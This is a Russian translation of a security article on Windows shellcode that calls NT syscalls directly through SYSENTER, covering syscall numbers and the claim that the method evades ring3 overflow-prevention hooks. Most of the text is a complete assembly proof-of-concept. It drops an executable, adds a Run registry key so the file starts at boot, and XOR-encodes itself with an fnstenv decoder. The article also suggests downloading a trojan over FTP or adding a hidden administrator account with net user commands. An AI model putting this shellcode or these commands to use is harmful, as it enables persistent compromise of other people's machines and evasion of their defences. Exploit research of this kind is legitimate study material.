Windows Syscall Shellcode

Windows Syscall Shellcode

Это статья написана в качестве демонстрации возможности написания шеллкода для операционных систем Windows без использования каких-либо API-вызовов. В этой статье мы рассмотрим создание подобного шеллкода, а также пример его применения.

image

Автор Пётр Бания (Piotr Bania), Securityfocus.com, перевод SecurityLab.

Введение

Это статья написана в качестве демонстрации возможности написания шеллкода для операционных систем Windows без использования каких-либо API-вызовов. Как и у любого решения, у этого подхода есть свои преимущества и недостатки. В этой статье мы рассмотрим создание подобного шеллкода, а также пример его применения. Для полного усвоения материала статьи рекомендуется владеть знанием языка ассемблера для архитектуры IA-32.

Рассмотренный шеллкод тестировался в операционной системе Windows XP SP1. Следует заметить, что у способа написания шеллкода есть несколько подходов в зависимости от операционной системы и уровня сервис-пака. Это будет обсуждаться по ходу статьи.

Некоторая информация перед началом

Операционные системы семейства Windows NT (NT/2000/XP/2003 и дальнейшие), разрабатывались для управления множественными подсистемами, каждая в собственной среде. К примеру, одной подсистемой NT является Win32 (для обычных приложений Windows), другим примером является POSIX (Unix) или OS/2. Что это значит? Это значит, что Windows NT может работать (при правильной настройке и дополнениях) с OS/2 и поддерживать большинство её функций. Так какие изменения были внесены в операционную систему в процессе разработки? Для поддержки всех потенциальных подсистем в Microsoft разработали единый набор API, называемых оболочками каждой подсистемы. Короче говоря, подсистемы имеют все необходимые для работы библиотеки. К примеру, Win32-приложения используют Win32 Subsystem API, которые используют/вызывают NT API. NT API, в свою очередь, не требуют для работы никаких подсистем.

От вызовов NT API до системных вызовов (syscalls)

Верна ли наша теория, что шеллкод можно написать без стандартных вызовов API? Ну, для некоторых API она верна, а для некоторых нет. Существует много API, которые делают свою работу, не обращаясь за помощью к NT API. Чтобы это доказать, рассмотрим API GetCommandLineA, взятый из KERNEL32.DLL:

.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
  .text:77E7E358
  .text:77E7E358
  .text:77E7E358 ; LPSTR GetCommandLineA(void)
  .text:77E7E358 public GetCommandLineA
  .text:77E7E358 GetCommandLineA proc near
  .text:77E7E358                 mov eax, dword_77ED7614
  .text:77E7E35D                 retn
  .text:77E7E35D GetCommandLineA endp
  
Эта API процедура не использует никаких внешних вызовов. Единственное что она делает – возвращает указатель на командную строку программы. Теперь рассмотрим пример, относящийся к нашей теории. Далее следует часть дизассемблированного API TerminateProcess:
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
  .text:77E616B8 public TerminateProcess
  .text:77E616B8 TerminateProcess proc near           ; CODE XREF: ExitProcess+12 j
  .text:77E616B8                                      ; sub_77EC3509+DA p
  .text:77E616B8
  .text:77E616B8 hProcess       =        dword ptr 4
  .text:77E616B8 uExitCode      =        dword ptr 8
  .text:77E616B8
  .text:77E616B8                  cmp [esp+hProcess], 0
  .text:77E616BD                  jz short loc_77E616D7
  .text:77E616BF                  push [esp+uExitCode]       ; 1st param: Exit code
  .text:77E616C3                  push [esp+4+hProcess]      ; 2nd param: Handle of process
  .text:77E616C7                  call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
  
Как видно, API TerminateProcess передает аргументы, а затем выполняет NtTerminateProcess, экспортированную из NTDLL.DLL. NTDLL.DLL является NT API. Другими словами, функция, начинающаяся с «Nt» называется NT API (некоторые из них являются также ZwAPI – посмотрите, что экспортируется из NTDLL.DLL). Теперь рассмотрим NtTerminateProcess:
.text:77F5C448 public ZwTerminateProcess
  .text:77F5C448 ZwTerminateProcess proc near      ; CODE XREF: sub_77F68F09+D1 p
  .text:77F5C448                                   ; RtlAssert2+B6 p
  .text:77F5C448 mov eax, 101h                     ; syscall number: NtTerminateProcess
  .text:77F5C44D mov edx, 7FFE0300h                ; EDX = 7FFE0300h
  .text:77F5C452 call edx                          ; call 7FFE0300h
  .text:77F5C454 retn 8
  .text:77F5C454 ZwTerminateProcess endp
  
Этот NT API помещает номер системного вызова (syscall) в EAX и вызывает память по адресу 7FFE0300h:
7FFE0300      8BD4    MOV EDX,ESP
  7FFE0302      0F34    SYSENTER
  7FFE0304      C3      RETN
  
И это раскрывает суть нашей теории – EDX теперь содержит указатель стека, EAX содержит системный вызов (syscall), который требуется выполнить. Инструкция SYSENTER выполняет быстрый вызов системной процедуры нулевого уровня, которая выполняет оставшуюся задачу.

Различия в операционных системах

В Windows 2000 (и других системах семейства NT, кроме XP и более новых) не используется никаких инструкций SYSENTER. В Windows XP инструкция SYSENTER заменила старый способ – «int 2eh». Далее следует способ системного вызова для Windows 2000:
      MOV   EAX, SyscallNumber               ; requested syscall number
        LEA   EDX, [ESP+4]                     ; EDX = params...
        INT   2Eh                              ; throw the execution to the KM handler
        RET   4*NUMBER_OF_PARAMS               ; return
  
Теперь нам известны способы системных вызовов для Windows 2000 и XP, но в своем шеллкоде я буду использовать следующий метод:
     push   fn                               ; push syscall number
       pop    eax                              ; EAX = syscall number
       push   eax                              ; this one makes no diff
       call   b                                ; put caller address on stack
  b:   add    [esp],(offset r - offset b)      ; normalize stack
       mov    edx, esp                         ; EDX = stack
       db     0fh, 34h                         ; SYSENTER instruction
  r:   add    esp, (param*4)                   ; normalize stack
  
SYSENTER была впервые представлена в процессорах Intel Pentium II. Автор не уверен, но можно догадаться, что SYSENTER не поддерживается процессорами Athlon. Чтобы узнать, возможна ли эта инструкция на каком-либо процессоре, используйте инструкцию CPUID вместе с проверкой флага SEP и специфическими проверками семейства/модели/наследования. Во пример такой проверки для процессоров Intel:
IF (CPUID SEP bit is set)
      THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
         THEN
            SYSENTER/SYSEXIT_NOT_SUPPORTED
         FI;
      ELSE SYSENTER/SYSEXIT_SUPPORTED
  FI;
  
Конечно, это не единственное отличие в разных версиях Windows – номера системных вызовов также меняются в зависимости от версии, как показано в следующей таблице:
Syscall symbol	NtAddAtom	NtAdjustPrivilegesToken	NtAlertThread
  Windows NT	SP 3	0x3	0x5	0x7
  	SP 4	0x3	0x5	0x7
  	SP 5	0x3	0x5	0x7
  	SP 6	0x3	0x5	0x7
  Windows 2000	SP 0	0x8	0xa	0xc
  	SP 1	0x8	0xa	0xc
  	SP 2	0x8	0xa	0xc
  	SP 3	0x8	0xa	0xc
  	SP 4	0x8	0xa	0xc
  Windows XP	SP 0	0x8	0xb	0xd
  	SP 1	0x8	0xb	0xd
  	SP 2	0x8	0xb	0xd
  Windows 2003 Server	SP 0	0x8	0xc	0xe
  	SP 1	0x8	0xc	0xe
  
Таблицы номеров системных вызовов доступны в Интернете. Читателю рекомендуется ознакомиться с экземпляром с сайта www.metasploit.com, хотя другие экземпляры также рекомендуются.

Преимущества Syscall Shellcode

У этого способа есть ряд преимуществ:
  • Шеллкод не требует вызовов API, вследствие того, что ему не требуется определять адреса API. Благодаря этой особенности возможно обойти большинство «систем предотвращения переполнения буфера» уровня ring3. Такие системы безопасности не предотвращают переполнение буфера, а только перехватывают вызовы API и проверяют адрес вызывающего. В нашем случае такие проверки бесполезны.
  • Так как вы посылаете запросы напрямую обработчику ядра и «перепрыгиваете» все инструкции от подсистемы Win32, скорость выполнения шеллкода возрастает в несколько раз (хотя в век современных процессоров никого не волнует скорость выполнения шеллкода).

Недостатки Syscall Shellcode

У этого способа есть и недостатки:

  • Размер – главный недостаток. Так как мы «перепрыгиваем» оболочки подсистем, нам придется писать свои, что увеличивает объем шеллкода.
  • Совместимость – как было сказано выше, существует различные варианты написания шеллкода, от «int 2eh» до SYSENTER, в зависимости от версии ОС. Также номера системных вызовов меняются.

Замысел

Шеллкод в конце этой статьи делает дамп файла, а затем делает запись в реестр. Записанный в реестр ключ запускает наш файл после перезагрузки системы. Вы можете спросить, почему бы не запустить файл сразу, не делая записей в реестр? Выполнение приложений Win32 посредством системных вызовов не простая задача – не думайте, что NtCreateProcess сделает это. Посмотрим, что требуется сделать API CreateProcess, чтобы выполнить приложение:

  1. Открыть файл (*.exe), который будет выполняться внутри процесса.
  2. Создать объект исполнительного процесса.
  3. Создать нить (thread).
  4. Сообщить подсистеме Win32 о новом процессе, чтобы она приготовилась.
  5. Начать выполнение нити.
  6. В контексте нового процесса и нити, завершить инициализацию адресного пространства (например, загрузить необходимые DLL) и начать выполнение программы.
Следовательно, проще использовать способ с записью в реестр. Следующий шеллкод делает дамп приложения с обычным MessageBox. Атакующий может сделать дамп скрипта (bat,vbs и др.) и скачать «троянского коня» или backdoor c ftp-сервера, или же выполнить команды вроде «net user /add piotr test123» и «net localgroup /add Administrators piotr». Эти идеи должны помочь читателю с оптимизацией, далее следует Proof of Concept шеллкод, который также можно скачать отсюда:
The shellcode - Proof Of Concept 
  comment $
              -----------------------------------------------
              WinNT (XP) Syscall Shellcode - Proof Of Concept
              -----------------------------------------------
              Written by: Piotr Bania 
                          http://pb.specialised.info
  $
  include         my_macro.inc
  include         io.inc
  ; --- CONFIGURE HERE -----------------------------------------------------------------
  ; If you want to change something here, you need to update size entries written above.
  FILE_PATH                       equ     "\??\C:\b.exe",0           ; dropper
  SHELLCODE_DROP                  equ     "D:\asm\shellcodeXXX.dat"  ; where to drop
                                                                      ; shellcode
  REG_PATH                        equ     "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0
  ; ------------------------------------------------------------------------------------
  KEY_ALL_ACCESS                  equ     0000f003fh          ; const value
  _S_NtCreateFile                 equ     000000025h          ; syscall numbers  for
  _S_NtWriteFile                  equ     000000112h          ; Windows XP SP1
  _S_NtClose                      equ     000000019h
  _S_NtCreateSection              equ     000000032h
  _S_NtCreateKey                  equ     000000029h
  _S_NtSetValueKey                equ     0000000f7h
  _S_NtTerminateThread            equ     000000102h
  _S_NtTerminateProcess           equ     000000101h                     
  @syscall                        macro fn, param             ; syscall implementation
                                  local b, r                  ; for Windows XP
                                  push fn
                                  pop  eax
                                  push eax ; makes no diff
                                  call b
                               b: add [esp],(offset r - offset b)
                                  mov edx, esp
                                  db 0fh, 34h
                               r: add esp, (param*4)
                                  endm
  path                            struc                       ; some useful structs
                                  p_path dw MAX_PATH dup (?)  ; converted from C headers
  path                            ends
  object_attributes               struc
                                  oa_length               dd      ?
                                  oa_rootdir              dd      ?
                                  oa_objectname           dd      ?
                                  oa_attribz              dd      ?
                                  oa_secdesc              dd      ?
                                  oa_secqos               dd      ?
  object_attributes               ends
  pio_status_block                struc
                                  psb_ntstatus            dd      ?
                                  psb_info                dd      ?
  pio_status_block                ends
  unicode_string struc
                                  us_length               dw      ?
                                                          dw      ?
                                  us_pstring              dd      ?
  unicode_string ends
          call crypt_and_dump_sh                               ; xor and dump shellcode
  sc_start                 proc
          local   u_string                   :unicode_string   ; local variables
          local   fpath                      :path             ; (stack based)
          local   rpath                      :path
          local   obj_a                      :object_attributes
          local   iob                        :pio_status_block
          local   fHandle                    :DWORD
          local   rHandle                    :DWORD
          sub     ebp,500                                      ; allocate space on stack
          push    FILE_PATH_ULEN                               ; set up unicode string
          pop     [u_string.us_length]                         ; length
          push    255                                          ; set up unicode max string
          pop     [u_string.us_length+2]                       ; length
          lea     edi,[fpath]                                  ; EDI = ptr to unicode file
          push    edi                                          ; path
          pop     [u_string.us_pstring]                        ; set up the unciode entry
          call    a_p1                                         ; put file path address
  a_s:    db                              FILE_PATH            ; on stack
          FILE_PATH_LEN                   equ     $ - offset a_s
          FILE_PATH_ULEN                  equ     18h
  a_p1:   pop     esi                                          ; ESI = ptr to file path
          push    FILE_PATH_LEN                                ; (ascii one)
          pop     ecx                                          ; ECX = FILE_PATH_LEN
          xor     eax,eax                                      ; EAX = 0
  a_lo:   lodsb                                                ; begin ascii to unicode
          stosw                                                ; conversion do not forget
          loop    a_lo                                         ; to do sample align
          lea     edi,[obj_a]                                  ; EDI = object attributes st.
          lea     ebx,[u_string]                               ; EBX = unicode string st.
          push    18h                                          ; sizeof(object attribs)
          pop     [edi.oa_length]                              ; store
          push    ebx                                          ; store the object name
          pop     [edi.oa_objectname]
          push    eax                                          ; rootdir = NULL
          pop     [edi.oa_rootdir]
          push    eax                                          ; secdesc = NULL
          pop     [edi.oa_secdesc]
          push    eax                                          ; secqos  = NULL
          pop     [edi.oa_secqos]
          push    40h                                          ; attributes value = 40h
          pop     [edi.oa_attribz]
          lea     ecx,[iob]                                    ; ECX = io status block
          push    eax                                          ; ealength = null
          push    eax                                          ; eabuffer = null
          push    60h                                          ; create options
          push    05h                                          ; create disposition
          push    eax                                          ; share access = NULL
          push    80h                                          ; file attributes
          push    eax                                          ; allocation size = NULL
          push    ecx                                          ; io status block        
          push    edi                                          ; object attributes
          push    0C0100080h                                   ; desired access
          lea     esi,[fHandle]
          push    esi                                          ; (out) file handle
          @syscall _S_NtCreateFile, 11                         ; execute syscall
          lea     ecx,[iob]                                    ; ecx = io status block
          push    eax                                          ; key = null
          push    eax                                          ; byte offset = null
          push    main_exploit_s                               ; length of data
          call    a3                                           ; ptr to dropper body
  s1:                                     include msgbin.inc   ; dopper data
  main_exploit_s                          equ     $ - offset s1
  a3:     push    ecx                                          ; io status block
          push    eax                                          ; apc context = null
          push    eax                                          ; apc routine = null
          push    eax                                          ; event = null
          push    dword ptr [esi]                              ; file handle
          @syscall _S_NtWriteFile, 9                           ; execute the syscall
          mov     edx,edi                                      ; edx = object attributes
          lea     edi,[rpath]                                  ; edi = registry path
          push    edi                                          ; store the pointer
          pop     [u_string.us_pstring]                        ; into unicode struct
          push    REG_PATH_ULEN                                ; store new path len
          pop     [u_string.us_length]
          call    a_p2                                         ; store the ascii reg path
  a_s1:   db                              REG_PATH             ; pointer on stack
          REG_PATH_LEN                    equ     $ - offset a_s1
          REG_PATH_ULEN                   equ     7eh
  a_p2:   pop     esi                                          ; esi ptr to ascii reg path
          push    REG_PATH_LEN
          pop     ecx                                          ; ECX = REG_PATH_LEN
  a_lo1:  lodsb                                                ; little ascii 2 unicode
          stosw                                                ; conversion
          loop a_lo1
          push    eax                                          ; disposition = null
          push    eax                                          ; create options = null
          push    eax                                          ; class = null
          push    eax                                          ; title index = null
          push    edx                                          ; object attributes struct
          push    KEY_ALL_ACCESS                               ; desired access
          lea     esi,[rHandle]
          push    esi                                          ; (out) handle
          @syscall _S_NtCreateKey,6
          lea     ebx,[fpath]                                  ; EBX = file path
          lea     ecx,[fHandle]                                ; ECX = file handle
          push    eax                                         
          pop     [ecx]                                        ; nullify file handle
          push    FILE_PATH_ULEN - 8                           ; push the unicode len
                                                               ; without 8 (no '\??\')
          push    ebx                                          ; file path
          add     [esp],8                                      ; without '\??'
          push    REG_SZ                                       ; type
          push    eax                                          ; title index = NULL
          push    ecx                                          ; value name = NULL = default
          push    dword ptr [esi]                              ; key handle
          @syscall _S_NtSetValueKey,6                          ; set they key value
          dec     eax
          push    eax                                          ; exit status code
          push    eax                                          ; process handle
                                                               ; -1 current process
          @syscall _S_NtTerminateProcess,2                     ; maybe you want
                                                               ; TerminateThread instead?
  ssc_size                               equ $ -offset sc_start
  sc_start               endp
  exit:
          push 0
          @callx ExitProcess
  crypt_and_dump_sh:                                           ; this gonna' xor
                                                               ; the shellcode and
          mov     edi,(offset sc_start - 1)                    ; add the decryptor
          mov     ecx,ssc_size                                 ; finally shellcode file
                                                               ; will be dumped
  xor_loop:
          inc     edi
          xor     byte ptr [edi],96h
          loop    xor_loop
          _fcreat SHELLCODE_DROP,ebx                           ; some of my old crazy
          _fwrite ebx,sh_decryptor,sh_dec_size                 ; io macros
          _fwrite ebx,sc_start,ssc_size
          _fclose ebx
          jmp exit
  sh_decryptor:                                                ; that's how the decryptor
          xor ecx,ecx                                          ; looks like
          mov cx,ssc_size
          fldz
  sh_add: fnstenv [esp-12]                                     ; fnstenv decoder
          pop edi
          add edi,sh_dec_add
  sh_dec_loop:
          inc edi
          xor byte ptr [edi],96h
          loop sh_dec_loop
  sh_dec_add                              equ ($ - offset sh_add) + 1
  sh_dec_size                             equ $ - offset sh_decryptor
  end start
  

В заключение

Автор надеется что, вам понравилась эта статья. Если у вас есть какие-либо вопросы или замечания, пишите ему. Также помните, что описанная выше программа предоставлена в ознакомительных целях.

Дальнейшее чтение

  1. "Inside the Native API" Mark Russinovich
  2. "MSDN" Microsoft
  3. Interactive Win32 syscall page Metasploit
Об авторе Пётр Бания (Piotr Bania) независимый IT Security/Anti-Virus исследователь из Польши с опытом работы более пяти лет. Он нашел несколько чрезвычайно опасных уязвимостей в популярных приложениях, таких как Real Player. На его сайте вы можете найти дополнительную информацию.

Подписывайтесь на каналы "SecurityLab" в TelegramTelegram и Яндекс.ДзенЯндекс.Дзен, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.